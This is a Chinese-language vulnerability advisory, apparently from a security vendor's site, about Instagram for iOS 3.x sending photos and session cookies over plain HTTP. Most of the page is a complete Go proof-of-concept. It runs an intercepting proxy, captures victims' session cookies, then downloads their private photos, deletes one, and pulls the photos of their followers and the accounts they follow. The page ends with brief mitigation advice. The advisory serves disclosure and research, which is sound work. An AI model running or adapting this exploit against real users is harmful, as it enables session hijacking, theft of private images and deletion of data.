安全研究
安全漏洞
Instagram For iOS中间人信息泄露漏洞
发布日期:2012-11-20
更新日期:2012-11-21
受影响系统:
Instagram Instagram for iOS 3.x描述:
BUGTRAQ ID: 56603
Instagram是一款最初运行在iOS平台上的移动应用,可快速分享抓拍图片。
Instagram for iOS 3.1.2及其他版本存在信息泄露漏洞,通过HTTP协议以明文形式传输用户图片内容,攻击者可通过中间人攻击或嗅探网络流量,截获会话信息并删除或下载用户私密照片。
<*来源:Carlos Reventlov
链接:http://secunia.com/advisories/51270/
http://reventlov.com/advisories/instagram-plaintext-media-disclosure-issue
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Man Insta Middle
Proof of concept.
November 2012
Carlos Reventlov <carlos@reventlov.com>
http://reventlov.com/poc/instagram-for-iphone-man-in-the-middle-vulnerability
*/
package main
import (
"encoding/json"
"fmt"
"github.com/gosexy/sugar"
"github.com/gosexy/to"
"github.com/xiam/hyperfox/proxy"
"github.com/xiam/hyperfox/tools/logger"
"io"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"path"
"regexp"
"strings"
)
var userIdPattern = regexp.MustCompile(`user_id=([^;]+);`)
var fixInt64Pattern = regexp.MustCompile(`([^\\])":([0-9.]+)(\}|,|$)`)
type Victim struct {
cookie string
userId string
Done bool
}
var victims map[string]*Victim
func GetVictim(ip string) *Victim {
if _, ok := victims[ip]; ok == false {
fmt.Printf("** Hallo %s!\n", ip)
victims[ip] = &Victim{}
}
return victims[ip]
}
func (self *Victim) SetCookie(cookie string) {
self.cookie = cookie
}
func (self *Victim) instaRequest(method, endpoint string, body io.Reader) (*http.Request, error) {
req, err := http.NewRequest(method, endpoint, body)
if err != nil {
return nil, err
}
req.Header.Add("User-Agent", "Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+")
req.Header.Add("Cookie", self.cookie)
req.Header.Add("Host", req.Host)
req.Header.Add("Accept-Language", "en-us")
req.Header.Add("Connection", "keep-alive")
return req, nil
}
func downloadTo(uri string, file string) error {
os.MkdirAll(path.Dir(file), os.ModeDir|0755)
res, err := http.Get(uri)
if err != nil {
return err
}
fp, err := os.Create(file)
if err == nil {
fmt.Printf("** %s -> %s\n", uri, file)
defer fp.Close()
defer res.Body.Close()
io.Copy(fp, res.Body)
}
return err
}
func (self *Victim) getFollowing(userId string) []int64 {
data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/following?", userId))
ids := []int64{}
if err != nil {
panic(err)
}
for _, userb := range to.List(data.Get("users")) {
user := to.Tuple(userb)
ids = append(ids, to.Int64(user.Get("pk")))
}
return ids
}
func (self *Victim) getFollowers(userId string) []int64 {
data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/followers?", userId))
ids := []int64{}
if err != nil {
panic(err)
}
for _, userb := range to.List(data.Get("users")) {
user := to.Tuple(userb)
ids = append(ids, to.Int64(user.Get("pk")))
}
return ids
}
func (self *Victim) pullPhotos(userId string) []string {
ids := []string{}
photos, err := self.apiGet(fmt.Sprintf("/api/v1/feed/user/%s/?", userId))
if err != nil {
panic(err)
}
for _, photob := range to.List(photos.Get("items")) {
photo := to.Tuple(photob)
fromUser := to.String(photo.Get("user/username"))
images := to.List(photo.Get("image_versions"))
image := to.Tuple(images[0])
imageUri := to.String(image.Get("url"))
go func() {
err := downloadTo(imageUri, fmt.Sprintf("images/%s/%s", fromUser, path.Base(imageUri)))
if err != nil {
fmt.Errorf(err.Error())
}
}()
ids = append(ids, to.String(photo.Get("id")))
}
return ids
}
func (self *Victim) deletePhoto(photoId string) {
data, _ := self.apiPost(fmt.Sprintf("/api/v1/media/%s/delete/", photoId), nil)
if data.Get("status") == "ok" {
fmt.Printf("** Deleted photo: %s\n", photoId)
}
}
func (self *Victim) apiRequest(method string, endpoint string, data url.Values, buf io.Reader, contentType string) (*sugar.Tuple, error) {
var req *http.Request
if buf == nil {
if data == nil {
req, _ = self.instaRequest(method, endpoint, nil)
} else {
req, _ = self.instaRequest(method, endpoint, strings.NewReader(data.Encode()))
}
} else {
req, _ = self.instaRequest(method, endpoint, buf)
}
fmt.Printf("## %s %s\n", method, endpoint)
if data != nil {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
} else if contentType != "" {
req.Header.Set("Content-Type", contentType)
}
client := &http.Client{}
res, err := client.Do(req)
if err != nil {
return nil, err
}
body, _ := ioutil.ReadAll(res.Body)
result := &sugar.Tuple{}
strbody := fixInt64Pattern.ReplaceAllString(string(body), `$1":"$2"$3`)
err = json.Unmarshal([]byte(strbody), result)
if err != nil {
return nil, err
}
return result, nil
}
func (self *Victim) apiPost(endpoint string, data url.Values) (*sugar.Tuple, error) {
return self.apiRequest("POST", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), data, nil, "")
}
func (self *Victim) apiGet(endpoint string) (*sugar.Tuple, error) {
return self.apiRequest("GET", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), nil, nil, "")
}
func (self *Victim) TakeOver() error {
if self.cookie != "" {
found := userIdPattern.FindAllStringSubmatch(self.cookie, 1)
if len(found) == 1 {
self.userId = found[0][1]
}
if self.userId != "" {
self.Done = true
// Getting user photos.
photoIds := self.pullPhotos(self.userId)
// Deleting first page of photos.
for _, photoId := range photoIds {
self.deletePhoto(photoId)
// This break was left intentionally here ;-).
break
}
// Pulling followers's photos
followers := self.getFollowers(self.userId)
for _, followerId := range followers {
self.pullPhotos(to.String(followerId))
}
// Pulling following's photos.
following := self.getFollowing(self.userId)
for _, followerId := range following {
self.pullPhotos(to.String(followerId))
}
}
}
return nil
}
func waitForCookie(pr *proxy.ProxyRequest) io.WriteCloser {
hostn := strings.SplitN(pr.Request.RemoteAddr, ":", 2)
localIp := hostn[0]
if pr.Request.Host == "instagram.com" {
if strings.HasPrefix(pr.Request.RequestURI, "/api/") {
victim := GetVictim(localIp)
if victim.Done == false {
victim.SetCookie(pr.Request.Header.Get("Cookie"))
victim.TakeOver()
}
}
}
return nil
}
func main() {
victims = make(map[string]*Victim)
p := proxy.New()
p.AddDirector(logger.Client(os.Stdout))
p.AddWriter(waitForCookie)
p.AddLogger(logger.Server(os.Stdout))
var err error
err = p.Start()
if err != nil {
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
}
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 对未加密的请求使用主体签名。
* 对所有API请求使用HTTPs
厂商补丁:
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.instagram.com/
浏览次数:4164
严重程度:0(网友投票)
绿盟科技给您安全的保障
